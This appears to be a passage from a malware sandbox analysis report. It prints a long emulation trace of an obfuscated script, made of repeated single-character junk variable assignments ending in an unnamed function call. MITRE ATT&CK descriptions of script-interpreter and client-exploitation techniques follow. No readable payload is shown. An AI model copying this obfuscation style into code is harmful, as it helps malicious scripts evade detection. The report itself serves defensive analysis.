279	wmfwr = "F";
280	wmfwr = "F";
281	wmfwr = "h";
282	wmfwr = "n";
283	wmfwr = "i";
284	skfvzozzu = "I";
285	skfvzozzu = "J";
286	skfvzozzu = "l";
287	skfvzozzu = "a";
288	skfvzozzu = "L";
289	skfvzozzu = "g";
290	skfvzozzu = "y";
291	skfvzozzu = "P";
292	skfvzozzu = "L";
293	skfvzozzu = "O";
294	skfvzozzu = "o";
295	skfvzozzu = "j";
296	skfvzozzu = "U";
297	skfvzozzu = "p";
298	skfvzozzu = "g";
299	skfvzozzu = "R";
300	skfvzozzu = "i";
301	skfvzozzu = "C";
302	skfvzozzu = "i";
303	skfvzozzu = "j";
304	skfvzozzu = "P";
305	skfvzozzu = "V";
306	skfvzozzu = "I";
307	skfvzozzu = "X";
308	skfvzozzu = "v";
309	skfvzozzu = "M";
310	skfvzozzu = "j";
311	skfvzozzu = "O";
312	skfvzozzu = "V";
313	skfvzozzu = "z";
314	skfvzozzu = "L";
315	skfvzozzu = "z";
316	skfvzozzu = "b";
317	skfvzozzu = "F";
318	skfvzozzu = "T";
319	skfvzozzu = "K";
320	skfvzozzu = "I";
321	skfvzozzu = "H";
322	skfvzozzu = "O";
323	skfvzozzu = "S";
324	skfvzozzu = "O";
325	skfvzozzu = "_";
326	iwhifll = "l";
327	iwhifll = "m";
328	iwhifll = "m";
329	iwhifll = "I";
330	iwhifll = "z";
331	iwhifll = "g";
332	iwhifll = "o";
333	iwhifll = "k";
334	iwhifll = "s";
335	iwhifll = "Z";
336	iwhifll = "u";
337	iwhifll = "L";
338	iwhifll = "r";
339	iwhifll = "A";
340	iwhifll = "E";
341	iwhifll = "B";
342	iwhifll = "L";
343	iwhifll = "T";
344	iwhifll = "M";
345	iwhifll = "P";
346	iwhifll = "J";
347	iwhifll = "c";
348	iwhifll = "c";
349	iwhifll = "Z";
350	iwhifll = "n";
351	iwhifll = "w";
352	iwhifll = "a";
353	iwhifll = "t";
354	iwhifll = "H";
355	iwhifll = "t";
356	iwhifll = "P";
357	iwhifll = "n";
358	iwhifll = "K";
359	iwhifll = "P";
360	iwhifll = "t";
361	iwhifll = "I";
362	iwhifll = "Q";
363	iwhifll = "t";
364	iwhifll = "k";
365	iwhifll = "U";
366	iwhifll = "r";
367	iwhifll = "6";
368	tyjcyzz = "f";
369	tyjcyzz = "R";
370	tyjcyzz = "H";
371	tyjcyzz = "T";
372	tyjcyzz = "F";
373	tyjcyzz = "F";
374	tyjcyzz = "y";
375	tyjcyzz = "R";
376	tyjcyzz = "v";
377	tyjcyzz = "j";
378	tyjcyzz = "J";
379	tyjcyzz = "M";
380	tyjcyzz = "u";
381	tyjcyzz = "f";
382	rwhucb = "R";
383	rwhucb = "r";
384	rwhucb = "c";
385	rwhucb = "a";
386	rwhucb = "i";
387	rwhucb = "D";
388	rwhucb = "n";
389	rwhucb = "Y";
390	rwhucb = "V";
391	rwhucb = "Z";
392	rwhucb = "X";
393	rwhucb = "Y";
394	rwhucb = "R";
395	rwhucb = "Z";
396	rwhucb = "D";
397	rwhucb = "L";
398	rwhucb = "u";
399	rwhucb = "A";
400	rwhucb = "I";
401	rwhucb = "e";
402	rwhucb = "H";
403	rwhucb = "C";
404	rwhucb = "J";
405	rwhucb = "L";
406	rwhucb = "k";
407	rwhucb = "Q";
408	rwhucb = "m";
409	rwhucb = "4";
410	nkghytco = "m";
411	nkghytco = "h";
412	nkghytco = "K";
413	nkghytco = "r";
414	nkghytco = "v";
415	nkghytco = "x";
416	nkghytco = "I";
417	nkghytco = "c";
418	nkghytco = "P";
419	nkghytco = "k";
420	nkghytco = "u";
421	nkghytco = "C";
422	nkghytco = "e";
423	nkghytco = "G";
424	nkghytco = "R";
425	nkghytco = "a";
426	nkghytco = "W";
427	nkghytco = "q";
428	nkghytco = "b";
429	nkghytco = "u";
430	nkghytco = "C";
431	nkghytco = "u";
432	jpvyqmzgg = "m";
433	jpvyqmzgg = "b";
434	jpvyqmzgg = "I";
435	jpvyqmzgg = "b";
436	jpvyqmzgg = "w";
437	jpvyqmzgg = "v";
438	jpvyqmzgg = "u";
439	jpvyqmzgg = "L";
440	jpvyqmzgg = "b";
441	jpvyqmzgg = "G";
442	jpvyqmzgg = "k";
443	jpvyqmzgg = "Q";
444	jpvyqmzgg = "Y";
445	jpvyqmzgg = "b";
446	jpvyqmzgg = "N";
447	jpvyqmzgg = "Y";
448	jpvyqmzgg = "K";
449	jpvyqmzgg = "h";
450	jpvyqmzgg = "w";
451	jpvyqmzgg = "s";
452	jpvyqmzgg = "x";
453	jpvyqmzgg = "k";
454	jpvyqmzgg = "c";
455	jpvyqmzgg = "w";
456	jpvyqmzgg = "n";
457	jpvyqmzgg = "W";
458	jpvyqmzgg = "O";
459	jpvyqmzgg = "z";
460	jpvyqmzgg = "k";
461	jpvyqmzgg = "I";
462	jpvyqmzgg = "a";
463	jpvyqmzgg = "O";
464	drjfa = "I";
465	drjfa = "j";
466	drjfa = "c";
467	drjfa = "k";
468	drjfa = "d";
469	drjfa = "/";
470	qgpalcf = "u";
471	qgpalcf = "J";
472	qgpalcf = "D";
473	qgpalcf = "m";
474	qgpalcf = "u";
475	qgpalcf = "U";
476	qgpalcf = "r";
477	qgpalcf = "r";
478	qgpalcf = "K";
479	tioxkyn = "W";
480	tioxkyn = "T";
481	tioxkyn = "m";
482	tioxkyn = "M";
483	tioxkyn = "T";
484	tioxkyn = "y";
485	tioxkyn = "w";
486	tioxkyn = "A";
487	tioxkyn = "W";
488	tioxkyn = "W";
489	tioxkyn = "j";
490	tioxkyn = "g";
491	tioxkyn = "D";
492	tioxkyn = "R";
493	tioxkyn = "t";
494	tioxkyn = "q";
495	tioxkyn = "\\";
496	rbqqpajw = "Z";
497	rbqqpajw = "d";
498	rbqqpajw = "e";
499	rbqqpajw = "o";
500	rbqqpajw = "x";
501	rbqqpajw = "V";
502	rbqqpajw = "H";
503	rbqqpajw = "o";
504	rbqqpajw = "L";
505	rbqqpajw = "h";
506	rbqqpajw = "q";
507	rbqqpajw = "d";
508	rbqqpajw = "H";
509	rbqqpajw = "B";
510	rbqqpajw = "t";
511	rbqqpajw = "X";
512	rbqqpajw = "z";
513	rbqqpajw = "R";
514	rbqqpajw = "B";
515	rbqqpajw = "w";
516	rbqqpajw = "L";
517	rbqqpajw = "P";
518	rbqqpajw = "T";
519	rbqqpajw = "Q";
520	rbqqpajw = "z";
521	rbqqpajw = "G";
522	rbqqpajw = "a";
523	rbqqpajw = "u";
524	rbqqpajw = "L";
525	pqrohnw = "l";
526	pqrohnw = "U";
527	pqrohnw = "z";
528	pqrohnw = "J";
529	pqrohnw = "f";
530	pqrohnw = "F";
531	pqrohnw = "d";
532	pqrohnw = "L";
533	pqrohnw = "G";
534	pqrohnw = "i";
535	pqrohnw = "q";
536	pqrohnw = "Y";
537	pqrohnw = "P";
538	pqrohnw = "D";
539	pqrohnw = "D";
540	pqrohnw = "v";
541	pqrohnw = "n";
542	pqrohnw = "G";
543	pqrohnw = "L";
544	pqrohnw = "a";
545	loeeejz = "n";
546	loeeejz = "N";
547	loeeejz = "z";
548	loeeejz = "F";
549	loeeejz = "p";
550	loeeejz = "D";
551	loeeejz = "w";
552	loeeejz = "U";
553	loeeejz = "Q";
554	loeeejz = "V";
555	loeeejz = "X";
556	loeeejz = "u";
557	loeeejz = "Q";
558	loeeejz = "q";
559	loeeejz = "W";
560	loeeejz = "b";
561	loeeejz = "L";
562	loeeejz = "T";
563	loeeejz = "z";
564	loeeejz = "a";
565	loeeejz = "n";
566	loeeejz = "W";
567	loeeejz = "c";
568	loeeejz = "s";
569	loeeejz = "o";
570	loeeejz = "q";
571	loeeejz = "Q";
572	loeeejz = "L";
573	loeeejz = "r";
574	loeeejz = "L";
575	loeeejz = "T";
576	loeeejz = "o";
577	loeeejz = "L";
578	loeeejz = "d";
579	loeeejz = "w";
580	loeeejz = "m";
581	bcozbpojg = "H";
582	bcozbpojg = "K";
583	bcozbpojg = "y";
584	bcozbpojg = "s";
585	bcozbpojg = "U";
586	bcozbpojg = "o";
587	bcozbpojg = "S";
588	bcozbpojg = "n";
589	rlebw = "u";
590	rlebw = "B";
591	rlebw = "f";
592	rlebw = "m";
593	rlebw = "J";
594	rlebw = "m";
595	rlebw = "S";
596	rlebw = "L";
597	rlebw = "h";
598	rlebw = "j";
599	rlebw = "V";
600	rlebw = "z";
601	rlebw = "K";
602	rlebw = "W";
603	rlebw = "M";
604	rlebw = "l";
605	rlebw = "a";
606	rlebw = "H";
607	rlebw = "B";
608	rlebw = "T";
609	rlebw = "P";
610	rlebw = "D";
611	rlebw = "b";
612	rlebw = "N";
613	rlebw = "A";
614	rlebw = "p";
615	rlebw = "J";
616	rlebw = "e";
617	rlebw = "z";
618	rlebw = "N";
619	rlebw = "t";
620	rlebw = "a";
621	rlebw = "h";
622	rlebw = "I";
623	rlebw = "j";
624	rlebw = "V";
625	rlebw = "y";
626	rlebw = "M";
627	rlebw = "x";
628	nenlb = "E";
629	nenlb = "o";
630	nenlb = "s";
631	ihpujft = "B";
632	ihpujft = "s";
633	ihpujft = "%";
634	wkjnkm = "N";
635	wkjnkm = "E";
636	wkjnkm = "g";
637	wkjnkm = "U";
638	wkjnkm = "G";
639	wkjnkm = "A";
640	wkjnkm = "f";
641	wkjnkm = "n";
642	wkjnkm = "u";
643	wkjnkm = "f";
644	wkjnkm = "g";
645	wkjnkm = "R";
646	wkjnkm = "j";
647	wkjnkm = "R";
648	wkjnkm = "N";
649	wkjnkm = "K";
650	wkjnkm = "S";
651	wkjnkm = "y";
652	wkjnkm = "E";
653	wkjnkm = "F";
654	uekcasb = "U";
655	uekcasb = "E";
656	uekcasb = "D";
657	uekcasb = "e";
658	uekcasb = "W";
659	uekcasb = "c";
660	uekcasb = "C";
661	aeltdm = "h";
662	aeltdm = "b";
663	aeltdm = "J";
664	aeltdm = "f";
665	aeltdm = "q";
666	aeltdm = "E";
667	aeltdm = "J";
668	aeltdm = "F";
669	aeltdm = "H";
670	aeltdm = "d";
671	aeltdm = "g";
672	aeltdm = "K";
673	aeltdm = "e";
674	aeltdm = "T";
675	aeltdm = "v";
676	aeltdm = "u";
677	aeltdm = "R";
678	zolevqplb = ".";
679	dgzfgdz = "g";
680	dgzfgdz = "o";
681	lruzg = "B";
682	lruzg = "q";
683	lruzg = "F";
684	lruzg = "X";
685	lruzg = "W";
686	lruzg = "z";
687	lruzg = "o";
688	lruzg = "B";
689	lruzg = "Z";
690	lruzg = "S";
691	lruzg = "Q";
692	lruzg = "G";
693	lruzg = "I";
694	lruzg = "h";
695	lruzg = "f";
696	lruzg = "S";
697	lruzg = "n";
698	lruzg = "o";
699	lruzg = "A";
700	lruzg = "Y";
701	lruzg = "x";
702	lruzg = "v";
703	lruzg = "S";
704	lruzg = "J";
705	lruzg = "Z";
706	lruzg = "d";
707	lruzg = "J";
708	lruzg = "h";
709	lruzg = "D";
710	lruzg = "v";
711	lruzg = "7";
712	tbajtna = "w";
713	tbajtna = "l";
714	tbajtna = "z";
715	tbajtna = "w";
716	tbajtna = "q";
717	tbajtna = "k";
718	tbajtna = "L";
719	tbajtna = "d";
720	tbajtna = "V";
721	tbajtna = "J";
722	tbajtna = "G";
723	tbajtna = "t";
724	tbajtna = "t";
725	tbajtna = "j";
726	tbajtna = "g";
727	tbajtna = "A";
728	tbajtna = "S";
729	tbajtna = "f";
730	tbajtna = "S";
731	tbajtna = "X";
732	tbajtna = "s";
733	tbajtna = "P";
734	tbajtna = "L";
735	tbajtna = "V";
736	tbajtna = "g";
737	lbkeivvrd = "H";
738	lbkeivvrd = "u";
739	lbkeivvrd = "d";
740	lbkeivvrd = "i";
741	lbkeivvrd = "U";
742	lbkeivvrd = "M";
743	lbkeivvrd = "O";
744	lbkeivvrd = "B";
745	lbkeivvrd = "r";
746	lbkeivvrd = "X";
747	lbkeivvrd = "P";
748	lbkeivvrd = "C";
749	lbkeivvrd = "V";
750	lbkeivvrd = "J";
751	lbkeivvrd = "r";
752	lbkeivvrd = "O";
753	lbkeivvrd = "i";
754	lbkeivvrd = "r";
755	lbkeivvrd = "w";
756	lbkeivvrd = "Y";
757	lbkeivvrd = "W";
758	lbkeivvrd = "u";
759	lbkeivvrd = "a";
760	lbkeivvrd = "x";
761	lbkeivvrd = "I";
762	lbkeivvrd = "f";
763	lbkeivvrd = "F";
764	lbkeivvrd = "m";
765	lbkeivvrd = "N";
766	lbkeivvrd = "N";
767	lbkeivvrd = "y";
768	lbkeivvrd = "L";
769	lbkeivvrd = "M";
770	lbkeivvrd = "m";
771	lbkeivvrd = "Q";
772	lbkeivvrd = "h";
773	lbkeivvrd = "V";
774	lbkeivvrd = "t";
775	etojstrom = "o";
776	etojstrom = "C";
777	etojstrom = "w";
778	etojstrom = "D";
779	etojstrom = "d";
780	etojstrom = "E";
781	etojstrom = "z";
782	etojstrom = "r";
783	etojstrom = "B";
784	etojstrom = "A";
785	etojstrom = "h";
786	etojstrom = "c";
787	etojstrom = "r";
788	etojstrom = "C";
789	etojstrom = "B";
790	etojstrom = "Q";
791	etojstrom = "v";
792	etojstrom = "h";
793	cvvitmp = "j";
794	cvvitmp = "M";
795	cvvitmp = "m";
796	cvvitmp = "Q";
797	cvvitmp = "g";
798	cvvitmp = "P";
799	cvvitmp = "s";
800	cvvitmp = "O";
801	cvvitmp = "m";
802	cvvitmp = "l";
803	cvvitmp = "Z";
804	cvvitmp = "y";
805	cvvitmp = "N";
806	cvvitmp = "I";
807	cvvitmp = "R";
808	cvvitmp = "r";
809	cvvitmp = "C";
810	cvvitmp = "I";
811	cvvitmp = "W";
812	cvvitmp = "R";
813	cvvitmp = "i";
814	cvvitmp = "n";
815	cvvitmp = "f";
816	cvvitmp = "l";
817	cvvitmp = "D";
818	cvvitmp = "J";
819	cvvitmp = "D";
820	cvvitmp = "A";
821	cvvitmp = "t";
822	cvvitmp = "S";
823	cvvitmp = "R";
824	cvvitmp = "W";
825	cvvitmp = "c";
826	cvvitmp = "v";
827	cvvitmp = "w";
828	cvvitmp = "y";
829	cvvitmp = "c";
830	cvvitmp = "l";
831	cvvitmp = "f";
832	cvvitmp = "5";
833	tiiadcp = "g";
834	tiiadcp = "n";
835	tiiadcp = "8";
836	skndjbq = "W";
837	skndjbq = "L";
838	skndjbq = "e";
839	skndjbq = "B";
840	skndjbq = "t";
841	skndjbq = "Y";
842	skndjbq = "M";
843	skndjbq = "n";
844	skndjbq = "@";
845	tautpy = "A";
846	tautpy = "u";
847	tautpy = "t";
848	tautpy = "w";
849	tautpy = "N";
850	tautpy = "t";
851	tautpy = "z";
852	tautpy = "n";
853	tautpy = "m";
854	tautpy = "j";
855	tautpy = "m";
856	tautpy = "E";
857	tautpy = "i";
858	tautpy = "m";
859	tautpy = "L";
860	tautpy = "M";
861	tautpy = "B";
862	tautpy = "b";
863	tautpy = "y";
864	tautpy = "V";
865	tautpy = "r";
866	tautpy = "o";
867	tautpy = "X";
868	tautpy = "v";
869	tautpy = "t";
870	tautpy = ":";
871	hqlmw = "a";
872	hqlmw = "f";
873	hqlmw = "b";
874	hqlmw = "c";
875	hqlmw = "A";
876	hqlmw = "i";
877	hqlmw = "O";
878	hqlmw = "b";
879	ejoqs = "Y";
880	ejoqs = "l";
881	ejoqs = "L";
882	ejoqs = "h";
883	ejoqs = "e";
884	ejoqs = "I";
885	ejoqs = "q";
886	ejoqs = "Z";
887	ejoqs = "R";
888	ejoqs = "f";
889	ejoqs = "P";
890	ejoqs = "q";
891	ejoqs = "t";
892	ejoqs = "F";
893	ejoqs = "U";
894	ejoqs = "w";
895	ejoqs = "Q";
896	ejoqs = "1";
897	furpxmdl = "j";
898	furpxmdl = "m";
899	furpxmdl = "d";
900	furpxmdl = "c";
901	furpxmdl = "m";
902	furpxmdl = "t";
903	furpxmdl = "c";
904	furpxmdl = "U";
905	furpxmdl = "r";
906	furpxmdl = "T";
907	furpxmdl = "A";
908	furpxmdl = "X";
909	furpxmdl = "X";
910	furpxmdl = "a";
911	furpxmdl = "Z";
912	furpxmdl = "p";
913	furpxmdl = "N";
914	furpxmdl = "l";
915	furpxmdl = "r";
916	furpxmdl = "e";
917	yoohfewf = "w";
918	yoohfewf = "F";
919	yoohfewf = "t";
920	yoohfewf = "C";
921	yoohfewf = "v";
922	yoohfewf = "Q";
923	yoohfewf = "B";
924	yoohfewf = "T";
925	yoohfewf = "o";
926	yoohfewf = "L";
927	yoohfewf = "M";
928	yoohfewf = "F";
929	yoohfewf = "X";
930	yoohfewf = "g";
931	yoohfewf = "S";
932	yoohfewf = "Q";
933	yoohfewf = "z";
934	yoohfewf = "P";
935	yoohfewf = "W";
936	yoohfewf = "v";
937	yoohfewf = "e";
938	yoohfewf = "e";
939	yoohfewf = "r";
940	yoohfewf = "K";
941	yoohfewf = "S";
942	yoohfewf = "L";
943	yoohfewf = "Z";
944	yoohfewf = "N";
945	yoohfewf = "W";
946	yoohfewf = "D";
947	yoohfewf = "V";
948	yoohfewf = "E";
949	yoohfewf = "B";
950	yoohfewf = "U";
951	yoohfewf = "B";
952	yoohfewf = "x";
953	yoohfewf = "z";
954	yoohfewf = "X";
955	yoohfewf = "g";
956	yoohfewf = "s";
957	yoohfewf = "u";
958	yoohfewf = "P";
959	otcuonml = "C";
960	otcuonml = "E";
961	otcuonml = "Y";
962	otcuonml = "Y";
963	otcuonml = "I";
964	otcuonml = "X";
965	otcuonml = "D";
966	otcuonml = "Z";
967	otcuonml = "U";
968	otcuonml = "p";
969	otcuonml = "y";
970	otcuonml = "e";
971	otcuonml = "d";
972	otcuonml = "E";
973	otcuonml = "U";
974	otcuonml = "S";
975	sajavp = "t";
976	sajavp = "l";
977	sajavp = "q";
978	sajavp = "o";
979	sajavp = "v";
980	sajavp = "W";
981	sajavp = "I";
982	sajavp = "F";
983	sajavp = "e";
984	sajavp = "X";
985	sajavp = "v";
986	sajavp = "S";
987	sajavp = "R";
988	sajavp = "k";
989	sajavp = "F";
990	sajavp = "e";
991	sajavp = "i";
992	sajavp = "v";
993	sajavp = "M";
994	sajavp = "l";
995	sajavp = "s";
996	sajavp = "Z";
997	sajavp = "X";
998	sajavp = "L";
999	sajavp = "q";
1000	sajavp = "d";
1001	sajavp = "H";
1002	sajavp = "m";
1003	sajavp = "E";
1004	sajavp = "S";
1005	sajavp = "M";
1006	sajavp = "a";
1007	sajavp = "d";
1008	sajavp = "U";
1009	sajavp = "o";
1010	sajavp = "j";
1011	sajavp = "n";
1012	sajavp = "S";
1013	sajavp = "Q";
1014	yskrx = "I";
1015	olmielgo = "c";
1016	olmielgo = "x";
1017	olmielgo = "u";
1018	olmielgo = "d";
1019	olmielgo = "u";
1020	olmielgo = "G";
1021	olmielgo = "x";
1022	olmielgo = "e";
1023	olmielgo = "i";
1024	olmielgo = "j";
1025	olmielgo = "u";
1026	olmielgo = "z";
1027	olmielgo = "f";
1028	olmielgo = "p";
1029	sjrlbkqg = "R";
1030	sjrlbkqg = "Y";
1031	sjrlbkqg = "b";
1032	sjrlbkqg = "U";
1033	sjrlbkqg = "R";
1034	sjrlbkqg = "n";
1035	sjrlbkqg = "M";
1036	sjrlbkqg = "N";
1037	sjrlbkqg = "c";
1038	sjrlbkqg = "I";
1039	sjrlbkqg = "T";
1040	sjrlbkqg = "u";
1041	sjrlbkqg = "W";
1042	sjrlbkqg = "A";
1043	sjrlbkqg = "p";
1044	sjrlbkqg = "W";
1045	sjrlbkqg = "O";
1046	sjrlbkqg = "W";
1047	sjrlbkqg = "t";
1048	sjrlbkqg = "z";
1049	sjrlbkqg = "j";
1050	sjrlbkqg = "F";
1051	sjrlbkqg = "y";
1052	sjrlbkqg = "i";
1053	sjrlbkqg = "h";
1054	sjrlbkqg = "J";
1055	sjrlbkqg = "0";
1056	zzylvbeug = "d";
1057	zzylvbeug = "Q";
1058	zzylvbeug = "P";
1059	zzylvbeug = "w";
1060	zzylvbeug = "I";
1061	zzylvbeug = "r";
1062	zzylvbeug = "o";
1063	zzylvbeug = "w";
1064	zzylvbeug = "s";
1065	zzylvbeug = "V";
1066	zzylvbeug = "m";
1067	zzylvbeug = "F";
1068	zzylvbeug = "y";
1069	zzylvbeug = "j";
1070	zzylvbeug = "Y";
1071	zzylvbeug = "w";
1072	zzylvbeug = "w";
1073	zzylvbeug = "z";
1074	zzylvbeug = "c";
1075	zzylvbeug = "O";
1076	zzylvbeug = "p";
1077	zzylvbeug = "C";
1078	zzylvbeug = "Z";
1079	zzylvbeug = "Y";
1080	zzylvbeug = "r";
1081	ibsijgpg = "M";
1082	ibsijgpg = "g";
1083	ibsijgpg = "F";
1084	ibsijgpg = "j";
1085	ibsijgpg = "Y";
1086	ibsijgpg = "B";
1087	ibsijgpg = "v";
1088	ibsijgpg = "T";
1089	ktwwbrs = "C";
1090	ktwwbrs = "O";
1091	ktwwbrs = "b";
1092	ktwwbrs = "d";
1093	ktwwbrs = "e";
1094	ktwwbrs = "r";
1095	ktwwbrs = "W";
1096	ktwwbrs = "b";
1097	ktwwbrs = "p";
1098	ktwwbrs = "w";
1099	ktwwbrs = "Y";
1100	ktwwbrs = "V";
1101	ktwwbrs = "k";
1102	ktwwbrs = "e";
1103	ktwwbrs = "k";
1104	ktwwbrs = "C";
1105	ktwwbrs = "I";
1106	ktwwbrs = "n";
1107	ktwwbrs = "L";
1108	ktwwbrs = "c";
1109	ktwwbrs = "y";
1110	ktwwbrs = "x";
1111	ktwwbrs = "z";
1112	ktwwbrs = "m";
1113	ktwwbrs = "y";
1114	ktwwbrs = "Y";
1115	ktwwbrs = "u";
1116	ktwwbrs = "C";
1117	ktwwbrs = "P";
1118	ktwwbrs = "Y";
1119	ktwwbrs = "r";
1120	ktwwbrs = "f";
1121	ktwwbrs = "R";
1122	ktwwbrs = "E";
1123	ktwwbrs = "S";
1124	ktwwbrs = "v";
1125	ktwwbrs = "d";
1126	ktwwbrs = "E";
1127	wzvxfss = "I";
1128	wzvxfss = "a";
1129	wzvxfss = "v";
1130	wzvxfss = "d";
1131	wzvxfss = "C";
1132	wzvxfss = "t";
1133	wzvxfss = "g";
1134	wzvxfss = "Q";
1135	wzvxfss = "p";
1136	wzvxfss = "d";
1137	ozxlx = "O";
1138	ozxlx = "z";
1139	ozxlx = "V";
1140	ozxlx = "K";
1141	ozxlx = "B";
1142	ozxlx = "k";
1143	ozxlx = "b";
1144	ozxlx = "v";
1145	ozxlx = "u";
1146	ozxlx = "U";
1147	ozxlx = "N";
1148	ozxlx = "h";
1149	ozxlx = "j";
1150	ozxlx = "o";
1151	ozxlx = "Y";
1152	ozxlx = "I";
1153	ozxlx = "Z";
1154	ozxlx = "f";
1155	ozxlx = "w";
1156	ozxlx = "y";
1157	ozxlx = "Z";
1158	ozxlx = "o";
1159	ozxlx = "e";
1160	ozxlx = "i";
1161	ozxlx = "r";
1162	ozxlx = "j";
1163	ozxlx = "Y";
1164	ozxlx = "i";
1165	ozxlx = "T";
1166	ozxlx = "B";
1167	ozxlx = "s";
1168	ozxlx = "m";
1169	ozxlx = "U";
1170	ozxlx = "W";
1171	ozxlx = "p";
1172	ozxlx = "u";
1173	ozxlx = "c";
1174	ozxlx = "S";
1175	ozxlx = "q";
1176	svkahch = "b";
1177	svkahch = "m";
1178	svkahch = "r";
1179	svkahch = "z";
1180	svkahch = "l";
1181	svkahch = "e";
1182	svkahch = "t";
1183	svkahch = "o";
1184	svkahch = "h";
1185	svkahch = "K";
1186	svkahch = "O";
1187	svkahch = "P";
1188	svkahch = "P";
1189	svkahch = "C";
1190	svkahch = "y";
1191	svkahch = "n";
1192	svkahch = "c";
1193	svkahch = "f";
1194	svkahch = "Q";
1195	svkahch = "b";
1196	svkahch = "d";
1197	svkahch = "O";
1198	svkahch = "f";
1199	svkahch = "W";
1200	gfnnzrnnb = "A";
1201	gfnnzrnnb = "G";
1202	gfnnzrnnb = "p";
1203	gfnnzrnnb = "L";
1204	gfnnzrnnb = "I";
1205	gfnnzrnnb = "d";
1206	gfnnzrnnb = "t";
1207	gfnnzrnnb = "N";
1208	gfnnzrnnb = "X";
1209	gfnnzrnnb = "c";
1210	gfnnzrnnb = "R";
1211	gfnnzrnnb = "S";
1212	gfnnzrnnb = "T";
1213	gfnnzrnnb = "p";
1214	gfnnzrnnb = "k";
1215	gfnnzrnnb = "w";
1216	gfnnzrnnb = "r";
1217	gfnnzrnnb = "9";
1218	vxbqepzeb = "z";
1219	vxbqepzeb = "i";
1220	vxbqepzeb = "L";
1221	vxbqepzeb = "y";
1222	vxbqepzeb = "Z";
1223	vxbqepzeb = "m";
1224	vxbqepzeb = "Z";
1225	vxbqepzeb = "Y";
1226	vxbqepzeb = "O";
1227	vxbqepzeb = "K";
1228	vxbqepzeb = "x";
1229	vxbqepzeb = "T";
1230	vxbqepzeb = "i";
1231	vxbqepzeb = "W";
1232	vxbqepzeb = "F";
1233	vxbqepzeb = "u";
1234	vxbqepzeb = "X";
1235	vxbqepzeb = "v";
1236	vxbqepzeb = "E";
1237	vxbqepzeb = "q";
1238	vxbqepzeb = "d";
1239	vxbqepzeb = "A";
1240	vxbqepzeb = "F";
1241	vxbqepzeb = "U";
1242	mbkkzkhy = "R";
1243	mbkkzkhy = "K";
1244	mbkkzkhy = "r";
1245	mbkkzkhy = "&";
1246	fiuamw = "Q";
1247	fiuamw = "V";
1248	fiuamw = "l";
1249	fiuamw = "D";
1250	fiuamw = "z";
1251	fiuamw = "H";
1252	fiuamw = "z";
1253	fiuamw = "w";
1254	fiuamw = "q";
1255	fiuamw = "k";
1256	fiuamw = "X";
1257	fiuamw = "U";
1258	fiuamw = "Q";
1259	fiuamw = "v";
1260	fiuamw = "N";
1261	fiuamw = "i";
1262	fiuamw = "l";
1263	fiuamw = "D";
1264	fiuamw = "g";
1265	fiuamw = "b";
1266	fiuamw = "R";
1267	fiuamw = "V";
1268	fiuamw = "L";
1269	fiuamw = "w";
1270	fiuamw = "w";
1271	fiuamw = "q";
1272	fiuamw = "l";
1273	fiuamw = "r";
1274	fiuamw = "N";
1275	fiuamw = "G";
1276	fiuamw = "c";
1277	fiuamw = "X";
1278	fiuamw = "d";
1279	fiuamw = "r";
1280	fiuamw = "Q";
1281	fiuamw = "j";
1282	fiuamw = "i";
1283	fiuamw = "r";
1284	fiuamw = "J";
1285	fiuamw = "k";
1286	fiuamw = "D";
1287	fiuamw = "w";
1288	iprjji = "Z";
1289	iprjji = "b";
1290	iprjji = "A";
1291	iprjji = "k";
1292	iprjji = "f";
1293	iprjji = "z";
1294	iprjji = "e";
1295	iprjji = "G";
1296	iprjji = "O";
1297	iprjji = "R";
1298	iprjji = "j";
1299	iprjji = "s";
1300	iprjji = "i";
1301	iprjji = "i";
1302	iprjji = "v";
1303	iprjji = "q";
1304	iprjji = "Z";
1305	iprjji = "n";
1306	iprjji = "t";
1307	iprjji = "n";
1308	iprjji = "j";
1309	iprjji = "M";
1310	iprjji = "P";
1311	iprjji = "n";
1312	iprjji = "a";
1313	iprjji = "a";
1314	iprjji = "E";
1315	iprjji = "A";
1316	iprjji = "c";
1317	iprjji = "M";
1318	iprjji = "w";
1319	iprjji = "E";
1320	iprjji = "X";
1321	iprjji = "B";
1322	iprjji = "q";
1323	iprjji = "U";
1324	iprjji = "g";
1325	iprjji = "u";
1326	iprjji = "v";
1327	iprjji = "l";
1328	iprjji = "J";
1329	iprjji = "t";
1330	iprjji = "c";
1331	iprjji = "w";
1332	iprjji = "N";
1333	ttbvo = "c";
1334	ttbvo = "J";
1335	ttbvo = "V";
1336	ttbvo = "g";
1337	ttbvo = "t";
1338	ttbvo = "p";
1339	ttbvo = "u";
1340	ttbvo = "Y";
1341	ttbvo = "w";
1342	ttbvo = "o";
1343	ttbvo = "y";
1344	ttbvo = "O";
1345	ttbvo = "Y";
1346	ttbvo = "t";
1347	ttbvo = "e";
1348	ttbvo = "d";
1349	ttbvo = "p";
1350	ttbvo = "i";
1351	ttbvo = "a";
1352	ttbvo = "g";
1353	ttbvo = "c";
1354	ttbvo = "x";
1355	ttbvo = "g";
1356	ttbvo = "F";
1357	ttbvo = "W";
1358	ttbvo = "a";
1359	ttbvo = "q";
1360	ttbvo = "u";
1361	ttbvo = "v";
1362	ttbvo = "o";
1363	ttbvo = "m";
1364	ttbvo = "c";
1365	ttbvo = "z";
1366	ttbvo = "G";
1367	ttbvo = "Y";
1368	ttbvo = "m";
1369	ttbvo = "r";
1370	ttbvo = "U";
1371	ttbvo = "F";
1372	ttbvo = "j";
1373	qzeohs ( );	qzeohs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
